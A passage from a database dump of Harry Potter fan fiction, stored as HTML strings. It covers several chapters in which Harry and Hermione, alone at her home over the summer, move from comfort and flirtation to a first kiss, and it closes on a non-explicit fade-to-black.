escaped and traced down Hermione\'s left cheek. Her hair was still wet and starting to puff out a little. As she stood there trying to suppress a sob, Harry felt his throat tighten and a pain rise through his chest. Without thinking he stepped forward and put his arms around Hermione. Almost instinctively she folded her shoulders against Harry\'s chest and rested her head on his collar. Only then did she begin to cry freely.</p>\n\n<p>Harry tilted his head and laid it gently on hers, speaking soothingly the only comforting words that came to mind. &quot;It\'s okay. It\'s okay. It\'ll be alright.&quot; He began to softly rock from side to side. &quot;It\'s okay.&quot;</p>\n\n<p>And Hermione cried and cried. Her tears soaked Harry\'s shirt collar more than her hair did, and as inhibition fled, her meek cries turned into loud chokes and gulps. Harry wished he could make the pain go away. His jaw tightened in yearning as thoughts of somehow healing her grandfather with magic floated through his mind. But such acts were illegal for a student and outside of the school. Couldn\'t something be done? Maybe he could send word to Dumbledore or Sirius?</p>\n\n<p>After Hermione\'s bout of crying ebbed and steady sobs and sniffles took its place, Harry made her a glass of water and absent-mindedly rubbed her back as she drank. Tired of standing on their feet, the two sat down on Harry\'s make-shift bed.</p>\n\n<p>&quot;I miss him,&quot; Hermione said between sniffles. &quot;I rarely visited him, but I miss him. I wish I could see him now; I feel so guilty.&quot; She started choking over her words and Harry hugged her again to calm her. As emotional fatigue took its toll the two laid down, Hermione still nestled in Harry\'s arms. Harry barely said a word, he just listened to her few anecdotes about her grandfather, and when she last visited him. When a wave of sadness would strike her he would hug her tighter and whisper, &quot;it\'s okay, it\'s okay.&quot;</p>\n\n<p>It wasn\'t long before words grew more mumbled, thoughts grew fuzzy, and awareness faded from their minds. The two descended into deep sleep still lying on Harry\'s bed, still moist from the swim, still holding each other, cheeks touching.</p> '),
	(203, 4, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 4: Tuesday</b>\n\n<p>The morning broke, yet Harry and Hermione still slept. Their inert bodies shifted during the night, bothering the bed sheets. Harry\'s pillow found its way to Hermione\'s feet; the comforter became a crumpled pile under Harry\'s head; and the sheets gathered round Hermione\'s body, which was still wrapped in just a bikini. Yet her head remained on Harry\'s chest and his arm held faithfully to her shoulder. It wasn\'t until noon that the two finally woke.</p>\n\n<p>Fully rested, Harry was stirred from his sleep by a warm weight on his chest. Opening his eyes slowly, he saw Hermione\'s matted brown hair laid out under his neck and her deep peach-colored body resting comfortably alongside his. His heart caught in his throat. Harry was torn between wanting to get up before Hermione woke to avoid an awkward situation, and relaxing, enjoying the touch of Hermione\'s warm body against his. He had never held anyone so close before. It excited within him an intense desire to protect her, to save her from the world, to kiss her. A flood of more thoughts followed quickly and Harry began feeling dizzy, like when he would fly too high on his broomstick.</p>\n\n<p>Mentally shaking away the tendrils of such thoughts from his mind, Harry nervously and slowly tried to ease his arm out from under Hermione\'s bare shoulders. It did no good, for with the slightest movement Hermione\'s eyelids fluttered open, and soon a look of confusion found its way to her face. Puzzled, she looked up and her eyes widened as she looked into Harry\'s face. Her cheeks turned red and Harry, transfixed, knew that she realized they were both still in his bed.</p>\n\n<p>&quot;I\'m sorry,&quot; Hermione whispered, getting up quickly and folding her arms across her chest. She cleared her throat and said &quot;I\'m sorry&quot; again, this time more controlled.</p>\n\n<p>Harry got up after her as she walked down the hall to the bathroom. &quot;No wait,&quot; he called. &quot;Hermione, it\'s okay.&quot; He reached her and they stopped. Feeling more comfortable, he placed his hands on her shoulders reassuringly. &quot;It\'s okay. We were both tired and you were upset. You worried me.&quot;</p>\n\n<p>Hermione looked sadly into Harry\'s eyes. What was she thinking?</p>\n\n<p>&quot;Hermione,&quot; Harry said, but paused, trying to decide what to say and how to say it. &quot;I care about you, and it hurts me when you\'re hurt,&quot; Harry stumbled through the words, hoping they sounded platonic enough. &quot;I want you to know that I\'m here for you. That it\'s okay to cry and to be upset around me.&quot; Hermione\'s eyes still looked sad, but a hint of a smile worked through the corners of her lips. &quot;It\'s okay.&quot;</p>\n\n<p>With a sigh and a more prominent smile, Hermione leaned forward and hugged Harry. As they pulled away she kissed him on the cheek and said, &quot;Thank you.&quot; Harry\'s cheeks flushed with color.</p>\n\n<p>Hermione turned and, stepping lighter, made her way to her parent\'s bathroom, no doubt to change. Harry stood in the hall with the specter of Hermione\'s lips still clinging to his cheek. Feeling giddy and lighter himself, he went into the hall bathroom to take a shower while still entertaining thoughts of magically healing Hermione\'s grandfather. It was doubtful. After all, magic couldn\'t fix everything--why else would wizards still walk around missing a leg or a finger, or die from very common ailments like heart attacks?--but still it nagged him. At the very least, it was worth hoping.</p>\n\n<hr>\n\n<p>After showering, Harry put on his boxers and jeans, and opened the bathroom door to air out the residual steam as he prepared to shave. It had been a few days and he was getting scruffy. He took the bottle of shaving cream from his toiletry kit and sprayed a good-sized dollop of the white fluff into his hand. As he finished lathering up his jaw, Hermione shocked him by coming around the corner with a smile. She was fully dressed now, wearing a tight pair of blue jeans and a maroon halter top. Harry was beginning to realize that no matter what Hermione wore, she looked good. The sight of her was beginning to make his heart ache.</p>\n\n<p>&quot;You\'re shaving!&quot; Hermione said, a giggle flitting around the back of her throat. She certainly had her spirits back. In an ocean of dark tidings, there were still small moments of happiness that stayed afloat.</p>\n\n<p>&quot;Um, yeah,&quot; Harry replied, still startled and a little embarrassed. &quot;I need to. How are you feeling?&quot; He felt weird talking to Hermione with a white beard of shaving cream on his face and neck.</p>\n\n<p>&quot;Much better, thank you. Can I watch?&quot; Hermione rang with glee. &quot;In elementary school I got up early enough to see Daddy do it and it always just amazed me.&quot;</p>\n\n<p>&quot;Um, okay, sure,&quot; Harry said with a hint of uncertainty in his voice. Even though he was just missing a shirt--and wore even less when they swam--, he felt like he was exposed for some reason, the way he would probably feel if his swimming trunks accidentally came off while jumping in the pool. He discarded the anxiety though, and was simply glad that Hermione was feeling better.</p>\n\n<p>&quot;You\'re certainly brighter,&quot; he said with a smile.</p>\n\n<p>&quot;Yeah, while you were in the shower my parents called. They say Grandpa is actually doing better. Can you believe it?&quot; Relief lingered in her throat.</p>\n\n<p>&quot;Wow!&quot; Harry couldn\'t believe it. &quot;That\'s fantastic!&quot; How did that happen? He didn\'t even send an owl out to Dumbledore in desperation. Whatever good fortune it was, Harry just hoped it would last.</p>\n\n<p>&quot;Yeah, I said the same thing,&quot; Hermione continued. &quot;The doctors still don\'t want to get our hopes up, though.&quot;</p>\n\n<p>Harry wished he could hug her again, if only his face wasn\'t covered in cream.</p>\n\n<p>&quot;No come on, shave!&quot; Hermione ordered, laughing.</p>\n\n<p>Feeling suddenly flirtatious, Harry replied with, &quot;Okay, but I get to watch you shave next.&quot;</p>\n\n<p>&quot;Ew, no!&quot; Hermione cried, suppressing a smile. &quot;I keep my hairy legs to myself. Besides, I can only do that in the shower.&quot;</p>\n\n<p>At that Harry turned his head, looked Hermione straight in the eyes, and grinned. Hermione\'s eyes widened and pinkness crept into her ears.</p>\n\n<p>&quot;Uh, and any . . .&quot; she stammered. &quot;I--I already shaved.&quot;</p>\n\n<p>&quot;Aww,&quot; Harry said in exaggerated disappointment as he picked up his razor. Seeing Hermione\'s reflection in the mirror, she was still blushing. Maybe he went too far with that? He kept a calm demeanor while going through the motions with his razor, deftly gliding the blade down his jaw, around his cheeks, and along his neck. Hermione hung in the doorway all the while.</p>\n\n<p>After Harry finished shaving, he cleaned off his jaw with water, showing a nice smooth face. Hermione came up to him and without warning placed her hand on his cheek, rubbing it softy.</p>\n\n<p>&quot;Good job,&quot; she said, but she didn\'t pull her hand away. Instead she slid it down Harry\'s jaw line and neck, fingering gently at Harry\'s throat. That light-headed feeling struck Harry again and his knees felt weak; he started to sway. He looked into Hermione\'s brown eyes, eyes that he\'d never really looked into before, not like he did now. She returned the gaze, looking just as focused, just as entranced.</p>\n\n<p>Harry lost his balance and fell backwards, but caught himself on the bathroom sink in time. It was enough to bring them both out of their daze, though. Hermione started clearing her throat as she helped Harry straighten.</p>\n\n<p>&quot;Good job,&quot; Hermione said again, fumbling. &quot;S--so, what do you want to do today?&quot; She put on a smile too wide to be naturally.</p>\n\n<p>&quot;Um,&quot; Harry decided to glance at the floor. &quot;We can continue reading our new school books.&quot; Did he just suggest that? What was wrong with him!</p>\n\n<p>&quot;Oh that\'s right!&quot; Hermione said with renewed vigor. &quot;I think they\'re all still spread out on my bed.&quot; Harry wondered if his subconscious was starting to sneak out. Though, he admitted to himself that this felt like more than just indiscriminate attraction.</p>\n\n<p>With more on his mind than just studying--no matter how hard he tried to ignore it--Harry followed Hermione through the hall and into her bedroom. Keeping knees on the carpet and heads propped over wizarding books and manuals on the bed, the two read. Harry couldn\'t help but throw a few furtive glances at Hermione now and then. Hermione did the same, and when their eyes would meet, they would turn away blushing.</p>\n\n<p>Taking liberal breaks in-between studying to eat, watch TV, and even have a tickle fight that end awkwardly, Harry and Hermione passed the time. The two were getting somewhat used to being alone in the house most of the day, having a summer long to practice, but when the evening came it grew uncomfortable again.</p>\n\n<p>They occupied themselves with making dinner. Harry put some green beans in a pan on the stove with a healthy blot of butter while he helped Hermione thaw and season a couple of steaks. Hermione was impressed with Harry\'s cooking skills.</p>\n\n<p>&quot;It\'s nothing,&quot; Harry said, after smiling at Hermione\'s praise. &quot;When I lived with my aunt and uncle, they had me do quite a bit of cooking. It made me sort of a perfectionist really. If I did the slightest thing wrong, \'whap!\'&quot;</p>\n\n<p>Getting out clean plates and silverware, Harry fixed two plates of food and set them on the dining room table. The two made glasses of water for themselves, and as an added gesture Harry pulled out Hermione\'s chair for her to sit in.</p>\n\n<p>&quot;Quite the gentleman!&quot; She said, laughing.</p>\n\n<p>Amid talks about the school books, both agreed to actually get out of the house tomorrow and go out on the town. They\'d go to the cinema, or the video store, even the mall, wherever they felt like. Harry felt content, realizing that he was enjoying Hermione\'s company more and more, and thankful that they would return to Hogwarts together.</p>\n\n<p>When they finished their meal, they cleaned their plates and headed back to Hermione\'s room to continue their readings. Sprawled out on the bed, books surrounding their bodies and stacked in front of their eyes, Harry and Hermione read into the night. They read to each other until their voices became sore, until their eyelids grew heavy and stiff, until their heads nodded lower and finally rested on the piles of books beneath them. With the light still on and the sheets turned up, the two feel asleep, dog-eared pages mingling with long brown hair mingling with wild black hair.</p> '),
	(203, 5, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 5: Wednesday</b>\n\n<p>The sun crept through the blinds of Hermione\'s window around nine in the morning. Beams of light followed along the carpeted floor, climbed up the bed, and tickled the faces of the sleeping forms surrounded by books. As the light glinted through his lenses, Harry squinted before opening his eyes. His first sight was of Hermione\'s face. She lay next to him on her side, her hair cascading down her cheek in disheveled tresses. She was awake and looking right at Harry\'s face. Had she been watching him while he slept? For how long? Light danced over her face, and Harry thought for a second that he could wake up every day for the rest of his life to such a sight.</p>\n\n<p>Harry smiled, forgetting himself, and at that Hermione jerked her head away as if to erase or cover the swoon that clung to her face. She sat up on the bed and faced away from Harry, it looked like she was trying to hide a smile.</p>\n\n<p>&quot;This is becoming a bad habit,&quot; Hermione said, no doubt referring to their falling asleep in the same bed. Harry, however, was getting to like it.</p>\n\n<p>&quot;Yeah,&quot; Harry managed. &quot;It\'s a good thing your parents aren\'t here.&quot;</p>\n\n<p>Hermione stood up and whirled around. &quot;What do you mean by that,&quot; she said with a smirk.</p>\n\n<p>Harry swallowed his tongue. &quot;Oh. Oh! No, no I didn\'t mean--that is, I was thinking that--um.&quot;</p>\n\n<p>Hermione kept grinning as Harry stumbled over his words.</p>\n\n<p>&quot;They\'d think we were up to something . . . is all,&quot; Harry finally managed to say.</p>\n\n<p>&quot;Who says we aren\'t?&quot; Hermione said in a syrupy voice.</p>\n\n<p>Harry\'s jaw dropped. Hermione left him shocked as she turned and walked coquettishly out the bedroom door.</p>\n\n<p>Fully awake and struck by exhilaration, Harry ran after her. He caught up to Hermione shortly in the hallway and started tickling her mercilessly, fingering her sides and squeezing under her arms. With squeals of shock, and what sounded like delight, Hermione jerked and kicked. She twisted around with searching hands trying desperately to find Harry\'s sides and retaliate.</p>\n\n<p>Laughing hysterically, Hermione grabbed Harry\'s arm and started tickling him in return. As he weakened his grip, she bolted out of his hold and sprinted down the hall still laughing.</p>\n\n<p>Hermione was a surprisingly fast runner. By the time Harry made it toward the living room he had lost her around the corner. He peered cautiously over the couch back, thinking she might be hiding beyond the cushions.</p>\n\n<p>Before he knew what hit him, Harry was pushed over the couch from behind. She must have been hiding in the kitchen! Harry tumbled onto the cushions with Hermione toppling over him, tickling him all the way.</p>\n\n<p>Harry let out yelps of laughter, gasping for air as Hermione straddled him, pinning him to the couch. Digging at his armpits, Hermione lowered her head to his, a big grin plastered on her face.</p>\n\n<p>&quot;Gotchya now!&quot; she said, faking a cackle.</p>\n\n<p>When Harry\'s sides were about to burst he looked up at Hermione wide-eyed and stopped. He realized their noses were almost touching. Hermione must have realized too because she had stopped tickling.</p>\n\n<p>Hermione\'s cheeks became suddenly florid and she got up off of Harry as smoothly and quickly as she could.</p>\n\n<p>&quot;Sorry,&quot; she said, still red. &quot;Guess I got carried away.&quot;</p>\n\n<p>&quot;It\'s okay,&quot; Harry said. &quot;I did too.&quot;</p>\n\n<p>The two made their way stiffly to the kitchen to get some breakfast.</p>\n\n<p>&quot;You want to head out to the mall afterwards?&quot; Hermione asked.</p>\n\n<p>&quot;Absolutely!&quot; Harry replied, thankful for the shift in focus.</p>\n\n<hr>\n\n<p>After a twenty minute wait at the bus stop filled with idle chatter, Harry and Hermione headed off to the mall. They went from store to store, though didn\'t find too much they cared to buy. They didn\'t have very much money and most of the stores sold clothing line products; neither of them cared for clothes much beyond practical purposes. Harry enjoyed the atmosphere more than anything, and the company. He caught himself several times reaching for Hermione\'s hand as they walked side-by-side and pulled his arm back sheepishly.</p>\n\n<p>Outside the creamery, enjoying chocolate and strawberry double-scoop ice cream cones, the two sat down to rest. In the middle of their conversation though, an older boy who had brown hair and looked college bound walked up to Hermione, completely ignoring Harry. He said a hey, how\'s it going? with a smile and oozing tone. Harry\'s jaw tensed, the stare the guy was giving Hermione made Harry feel a streak of violence that was wholly different from his thoughts about Voldemort.</p>\n\n<p>Fortunately, Hermione responded coldly to the stranger. &quot;Excuse me,&quot; she said. &quot;I\'m in the middle of a conversation.&quot;</p>\n\n<p>&quot;What, is he your boyfriend or something?&quot; The grease in his voice reminded Harry of Professor Snape.</p>\n\n<p>Hermione looked at Harry with a smirk, and without looking up at the guy said simply, &quot;Yes.&quot;</p>\n\n<p>This made Harry jolt, and he couldn\'t help but grin stupidly.</p>\n\n<p>&quot;Whatever,&quot; the guy said, giving Harry a dirty look and slinking away.</p>\n\n<p>&quot;Sorry if I embarrassed you,&quot; Hermione said to Harry once they were alone again. &quot;I only said that to make that creep leave.</p>\n\n<p>&quot;Oh,&quot; suddenly Harry felt a little sad. &quot;It\'s okay, I didn\'t mind.&quot;</p>\n\n<p>&quot;Oh, good,&quot; Hermione replied, beaming.</p>\n\n<p>Hermione got a few more stares as they walked around the mall some more, and they finally decided to leave when she was approached again. Even if he wasn\'t her boyfriend, Harry thought it was pretty rude for guys to just come right up to Hermione with Harry obviously walking with her.</p>\n\n<p>The two left the mall and got on the bus heading for the library. Harry wasn\'t sure how to feel about this. He had enough reading last night, even if it did end pleasantly with them falling asleep together. At least at the library he got to choose a book on anything he wanted to rummage through.</p>\n\n<p>When they arrived, Hermione curiously asked Harry if they could split up to find their own books. Confused, but being agreeable by nature, Harry assented and Hermione walked swiftly off, making her way upstairs and disappearing being a random aisle of books. Harry shook his head but just as soon went on his own way. He didn\'t really know if he wanted to look for anything specifically. A casual look over at a nearby aisle of nonfiction books made up his mind that Hogwarts had a far more impressive and infinitely more interesting library. Still, he attempted a search in order to avoid a crawling sense of dismay that was making its way through the back of his mind. He felt lonely.</p>\n\n<p>Harry decided to forget about the nonfiction section the minute he saw a book on drills-it reminded him unfavorably of his uncle Vernon. He found his way to the fiction section and read a number of dusk jacket inlets from Douglas Adams to Brian Jacques. He tried to read a few pages into Redwall, but the nagging feeling of separateness kept him restless. He was growing so accustomed to Hermione\'s presence, he realized, that he felt like he was suffocating without her. He wondered what she was doing, what she was reading about.</p>\n\n<p>Discarding Redwall, Harry thought that enough time had passed. He saw no harm in casually finding Hermione and seeing what she found of intrigue. Knowing her, it was bound to be more interesting at the very least. He walked out of the aisles and nonchalantly worked his way upstairs, sure she was still there. It shouldn\'t take long to find her; the second floor was small, holding only a few rows of books, a series of computer terminals, and an information desk.</p>\n\n<p>After a brief search, it was evident to Harry that Hermione was no longer on the second floor. A tinge of panic crept over him. Where was she? He felt like he was in a pool, and too far below the surface of the water to make it up in time. He inhaled deeply. She probably just went back downstairs while he was looking through the fiction section. Going down the grand spiral staircase, Harry searched from aisle to aisle of the children\'s section, the young adult\'s section, the fiction, and still had no luck. Where was she? He had to find her soon.</p>\n\n<p>He made his way quickly through the nonfiction section, walking toward the short huddle of tables in between the stacks near the far wall. Harry breathed a sigh of relief. There was Hermione sitting down and stooping over some book. Harry made his way quickly and quietly over to her desk, being mindful to act casual about everything. When he got close enough to see over her shoulder at the large book opened up in front of her he took a glance. Then froze. Was that--</p>\n\n<p>&quot;Is that a book on sex?&quot; He said before realizing he was talking out loud.</p>\n\n<p>Hermione slammed the book shut the minute she heard him speak one syllable. Standing up, she reeled around with the book clutched tightly in hand.</p>\n\n<p>&quot;What? No! Yes. No!&quot; Her face grew pale. &quot;I--I must have picked up the wrong book.&quot; She rushed off past Harry to return the book to its shelf, trying hard to conceal the cover.</p>\n\n<p>All the while Harry stood stunned. He didn\'t know whether to smirk or blanch. Why was she reading such a book? Did she really find it by accident? Their stay at the library ended there.</p>\n\n<p>&quot;Well,&quot; Hermione returned, trying to hide the red in her face and acting as if nothing out of the ordinary happened. &quot;We better head back. It\'s probably getting close to dark outside.&quot;</p>\n\n<p>Harry agreed wordlessly and the two used the last of their meager money to catch a bus back home. When the bus finally rounded the corner and came upon Hermione\'s neighborhood, Harry got up the courage to grin. Luckily, Hermione didn\'t appear to see it.</p>\n\n<p>After such a silent ride, Hermione finally spoke up and asked Harry what he had found while at the library. Harry told her all about his short foray into the fiction section as they walked past the houses along Hermione\'s neighborhood.</p>\n\n<p>&quot;That\'s neat,&quot; Hermione said generically to Harry. &quot;See, \'cause, I was looking for information on witches given in muggle books, and I was looking for books on \'spells\' when I guess I picked up that book by mistake.&quot; So that was her excuse.</p>\n\n<p>&quot;Someone must have snuck that book in the section I was looking in, because it\'s not alphabetical, and-&quot; Hermione fumbled through her reasoning as they approached her door. Then she stopped.</p>\n\n<p>Shuffling along the porch was Errol, looking all the more like an old duster. He had a note of parchment in his beak and finally squeaked as Harry and Hermione walked up to him. Dropping the note, Errol made a running hop, failed several times to take flight, then finally caught air halfway across the street.</p>\n\n<p>Harry picked up the letter while Hermione waited. The embarrassment that hung over their heads a second ago disappeared as Harry unfolded the parchment and skimmed the short, clipped paragraph with his eyes.</p>\n\n<p>With an ashen face, he looked up at Hermione and in a half-whispered tone he said, &quot;Ron. . . .&quot;</p>\n\n<hr>\n\n<p>Author\'s Note: Greetings. I\'d like to take this opportunity to thank all of you who have reviewed my fanfic so favorably. I appreciate the praise as well as your constructive criticism and plan to take it into account for future chapters. Those who asked for more flashback about the previous summer with the Weasleys won\'t have to wait long, and to those curious about a possible &quot;intimate&quot; moment . . . well, you\'ll just have to wait and see. I would also like to thank Goddess Of Camelot for beta reading the more recent chapters and providing me with a number of great suggestions. The progression of the story wouldn\'t be half as good without her insight. Once again, thank you all.</p> '),
	(203, 6, '\n\n\n\n<title>Untitled Document</title>\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n\n\n<b>Chapter 6: Thursday</b>\n\n<p><i>&quot;Ron!&quot;</i></p>\n\n<p><i>Green light filled the front windows.</i></p>\n\n<p><i>&quot;Go Ron, now!&quot;</i></p>\n\n<p><i>&quot;I\'m staying with you, Harry!&quot;</i></p>\n\n<p><i>Fred and George fumbled quickly up the stairs, Percy trailing as he tugged violently on Ron\'s shirt collar.</i></p>\n\n<p><i>&quot;No, go!&quot; Harry screamed</i></p>\n\n<p><i>The door swung open and a dark figure filled the threshold.</i></p>\n\n<p><i>A deep, chilled voice said, &quot;Potter&#8230;&quot;<br>\n A green glow at the end of a dark wand. And then&#8230;A man crashed on the figure in the doorway from behind.</i></p>\n\n<p><i>&quot;Run, Harry!&quot; Sirius yelled.</i></p>\n\n<p><i>&quot;Sirius?&quot;</i></p>\n\n<p><i>&quot;Run! Now!&quot;</i></p>\n\n<p><i>Harry started running up the stairs after Ron, but his legs felt like lead. Green filled the room. High pitched laughter filled his mind and his scar burned like a thousand torches.</i></p>\n\n<p><i>&quot;No!&quot; Harry yelled as green flames engulfed him.</i></p>\n\n<p>&quot;No!&quot; Harry yelled as he jumped up from the bed sheets, drenched in sweat and panting frantically.</p>\n\n<p>Harry\'s heart was beating so fast and loud in his ears that he hardly heard the whisper of Hermione\'s voice. She was at the kitchen counter behind his fold-out bed trying to talk low but excitement kept raising her voice. Harry turned to look at her and she paused for a moment, no doubt to consider why he had jolted so violently from his sleep; yet a smile still lingered on her face from whatever the voice on the other line was telling her.</p>\n\n<p>&quot;Okay,&quot; Hermione spoke into the receiver. &quot;And Harry\'s up now, so I\'ll tell him the news. Okay, Daddy. Okay. Love you too.&quot;</p>\n\n<p>Harry sat half-turned toward Hermione, still panting and partially covered by the bed sheets. The clock on the kitchen wall said five in the afternoon. He had been up all night.</p>\n\n<p>As Hermione hung up the phone, he saw that her face looked brighter than it had been all week, like a thin, almost invisible shadow had lifted itself from her features. She looked more stunning than ever. But his nightmare lingered, sticking to his mind like a leech.</p>\n\n<p>&quot;That was Dad,&quot; she said, brimming with happiness. &quot;He says Grandpa is actually going to make it!&quot; She was so elated by blurting this out that she jumped toward Harry and gave him a long, tight hug. He hugged her back, trying to work out the emotions in his mind between being indescribably happy for her and feeling the looming threat in his head.</p>\n\n<p>&quot;That\'s great!&quot; He finally spit out.</p>\n\n<p>&quot;I know! I know! The doctors don\'t know how he recovered. It\'s like a miracle.&quot;</p>\n\n<p>Harry didn\'t know what to think of it. No one in the wizard world knows of it, let alone would likely help such a seemingly minor matter with Voldemort threatening. Maybe it was truly one of those unexplained events. He was indeed happy for her. But Voldemort&#8230;</p>\n\n<p>&quot;Mom and Dad are going to have to stay an extra day, though,&quot; Hermione continued. &quot;Just to double check everything and call all the relatives. They said they\'ll be back Saturday.&quot;</p>\n\n<p>All Harry could do was nod and smile, and say &quot;I\'m happy for you&quot; as Hermione jounced around in her joy and relief. After a moment she stopped and stood still, looking at Harry questioningly.</p>\n\n<p>&quot;You\'re upset,&quot; she said simply. The shadow that had settled in Hermione\'s features over the past few days had left her entirely, but had now decided to nestle nicely on Harry\'s face. It had been growing darker by the minute.</p>\n\n<p>Harry sighed. &quot;I really am happy for you, Hermione. I know that\'s a big weight off your shoulders. But--&quot;</p>\n\n<p>&quot;But now Ron\'s in trouble,&quot; Hermione said, growing sullen.</p>\n\n<p>Harry nodded.</p>\n\n<p>&quot;That\'s why I let you sleep,&quot; Hermione said. &quot;I figured you\'d be up all night after yesterday\'s mail.&quot;</p>\n\n<p>There was a pause as Hermione looked towards the hallway for a moment, and then turned back to Harry. &quot;Harry,&quot; she started. &quot;Remember that field I told you about a few blocks away?&quot; She didn\'t give Harry time to answer. &quot;I want you to go there with me. We\'ll get dressed, eat a good lunch, and then head over there. It\'s absolutely beautiful; clear skies, clean air. It\'ll give us time to think, and talk.&quot;</p>\n\n<p>Harry sniffed and nodded. He needed to talk.</p>\n\n<hr>\n\n<p>The sky was indeed clear, with just whispers of thin white clouds playing along the crisp tree line of the horizon. The field stood out like a huge green blanket, grass fanning out from the tapered end of the neighborhood into the undeveloped countryside. The sun sprayed down its fading warmth from the western corner of the blue sky as Harry and Hermione trekked the six blocks, chose an arbitrary spot of green, and sat down comfortably amid the grass blades. A slight breeze picked up just then, comforting Harry a little and momentarily lightening the weight that sat uneven on his mind.</p>\n\n<p>The two sat cross-legged, facing each other in silence, letting the surrounding tranquility calm their thoughts. The gentle song of birds in the distance helped Harry settle and with a sigh he was able to bring to words the anxiety that was on his mind.</p>\n\n<p>&quot;It never stops,&quot; Harry started, starring out into the trees as he spoke. Hermione sat, focused and listening. &quot;It just never stops. I left the tyranny of the Dursley\'s for the tyranny of Voldemort. At least living with my aunt and uncle wasn\'t life-threatening.&quot;</p>\n\n<p>Harry paused to stop his mouth from trembling. He didn\'t want to cry in front of Hermione. Inhaling deeply, he continued. &quot;Hagrid was right when he said I was touched by a curse. I don\'t think he realized just how wide it surrounded me though, like some black cloud looming over me, always, never shrinking after each storm. And now . . . now it\'s starting to hurt everyone I know.&quot;</p>\n\n<p>&quot;Ron . . .&quot; Hermione said meekly.</p>\n\n<p>Harry nodded and snorted cynically. &quot;I\'m the boy who lived. Maybe things would have been better if I hadn\'t been; then everyone I cared about wouldn\'t be at constant risk, and Ron would still be coming back to Hogwarts . . .&quot;</p>\n\n<p>&quot;Harry, don\'t say that!&quot; Hermione protested, putting her hand on Harry\'s shoulder, leaning him toward her so he looked her in the eyes. &quot;If you didn\'t survive, Voldemort would have still been a constant danger to everyone. He probably would be even more powerful by now, and half the wizarding families would have either turned to the Dark Side or been murdered by now, including the Weasley\'s.&quot;</p>\n\n<p>Harry sighed but remained silent. If only she saw what he saw last summer. Voldemort just has that way of finding things out. He destroyed the Burrow, and nearly killed Ron and his family. Harry wouldn\'t be surprised if the Malfoys had somehow helped in the matter. It always made an icy shiver blaze down his back, bringing with it a horrifying sense of d&#233;j&#224; vu; the green light, the high laughter, his burning scar, it all reminded him so much of his nightmares in his youth. It all must have happened the same way with his parents. At least the Weasley\'s all made it out alive. Harry hoped that it would continue to stay that way. </p>\n\n<p>&quot;Harry, it\'s not your fault Ron and his family had to go into hiding. Everything is Voldemort\'s doing, everything has resulted from his maliciousness, his greed, his lack of respect for human life. Aside from Dumbledore, Harry, it\'s you who has stood up to him successfully all those times; it\'s you who has defeated him again and again; it\'ll be you who defeats him for the last time. I don\'t have a doubt in my mind about that.&quot;</p>\n\n<p>A hint of warmth crept back into Harry\'s eyes and a smile was thinking of forming on his mouth. How did she do that? She made that black cloud look smaller; made him feel like maybe, just maybe, the storm would pass eventually.</p>\n\n<p>Hermione leaned in and hugged Harry tightly. She spoke softly into his ear, &quot;Ron will be back. He and his family will get through this. With any luck he\'ll return before the year is up. Dumbledore won\'t let any of his students be intimidated out of completing their education, especially by Voldemort.&quot;</p>\n\n<p>Yes, it would feel better going back to Hogwarts, living once more under the vigilant eye of Dumbledore. And Hermione would be there. </p>\n\n<p>Hermione pulled back slightly to smile into Harry\'s face.</p>\n\n<p>Harry was struck by a sudden desire to protect her. Hermione\'s very life was in danger by being so close to him. And if the Malfoy\'s played a part in the destruction of the Burrow, it would make Draco even happier to see Hermione destroyed.</p>\n\n<p>Hermione\'s eyes locked with Harry\'s, and his mind raced as he fell into her beautifully brown gaze.</p>\n\n<p>An intense fury for Draco seized Harry\'s heart, and he didn\'t know what he would do when he saw him again in a week. Everything would be okay if Hermione came out of this unharmed.</p>\n\n<p>Hermione\'s hand reached up to stroke Harry\'s cheek. Her fingers trailed through the tangled tresses of his black hair and found their way to the nape of his neck.</p>\n\n<p>Hogwarts, England, the entire world would all be alright if Hermione stayed safe.</p>\n\n<p>A distance sense of pressure came to Harry; Hermione was pulling gently on the back of his head. Her beautiful face was filling his vision.</p>\n\n<p>Everything would be alright so long as Hermione was alive. So long as she was with him.</p>\n\n<p>Their lips met.</p>\n\n<p>Like a beam of sunlight, Harry\'s being shot in on one sensation--Hermione\'s mouth pressed against his. The soft double flesh of her lips touched his with a longing, wonderfully assertiveness. Every neuron in his brain fired off as fireflies filled the edges of his vision and pins danced beneath his skin. A fevered intensity filled his stomach, his shoulders, his lips as they reciprocated and kissed back on her mouth with certainty. His hands, mindlessly, found her cheeks and rubbed at the skin behind her jaw. Her hands traced the line of his shoulders and rose up to his head, pulling him eagerly closer. Their mouths would part only to come crashing onto each other again, all the more demanding the more selfish for each other\'s taste and touch. Their breath mingled, tongues flirted, fingers trailed the textures of faces, feeling the delicate connection of their lips to assure their reality. Everything was lost in this moment--a break in the black cloud where a ray of sublime passion warmed the dark soil of their bodies with the glow of this kiss.</p>\n\n<hr>\n\n<p>Everything after that had shifted for Harry, not blurred, but shifted. The waning hours of kissing, the sun sluggishly finding its way comfortably back to the horizon hours ago then sneaking away and leaving them in the dark without realizing it, the slow walk home across those blocks. Everything had a subtle sense of auspice to it. The very air was electrified, and was particularly intense around Hermione. They held hands absentmindedly as they walked home, staying silent, a wordless agreement flowing between them.</p>\n\n<p>They reached the house at 11:55 in the evening and Hermione unlocked the door.</p>\n\n<p>They entered, locked the front door, and made their way to the kitchen to discard watches and earrings at the kitchen counter. Ron\'s note sat folded and over-read on the counter, holding its short, simple sentences in its rushed, black script: &quot;Harry. Won\'t be returning to Hogwarts. Too risky. Will keep in touch. Stay safe. Ron.&quot; The clock hit 11:56.</p>\n\n<p>Kicking off their shoes and sloughing off their socks, they walked down the hallway as the clock struck 11:57.</p>\n\n<p>The way seemed longer as they walked closer together, stopping twice to kiss against the walls. 11:58.</p>\n\n<p>They stood in the doorway of Hermione\'s room kissing, tickling at each other\'s collars. They starred at each other, the current in the air stopped for one breathless second as they read the meaning in each other\'s eyes. 11:59.</p>\n\n<p>Slowly, so slowly, Hermione tugged on Harry\'s shirt, pulled him into her room, and shut her bedroom door. An audible click resounded in the hall as she locked the door.</p>\n\n<p>Midnight.</p>\n\n<hr>\n\n<p>Author\'s Note: First and foremost I would like to apologize countless times for having taken so long to get this next chapter out, it\'s been over a month I believe. I know many of you have been looking forward to this next installment for a long time, of which I am completely appreciative, but rest assured it was not without some reason. I posted Chapter 5 around mid-December and 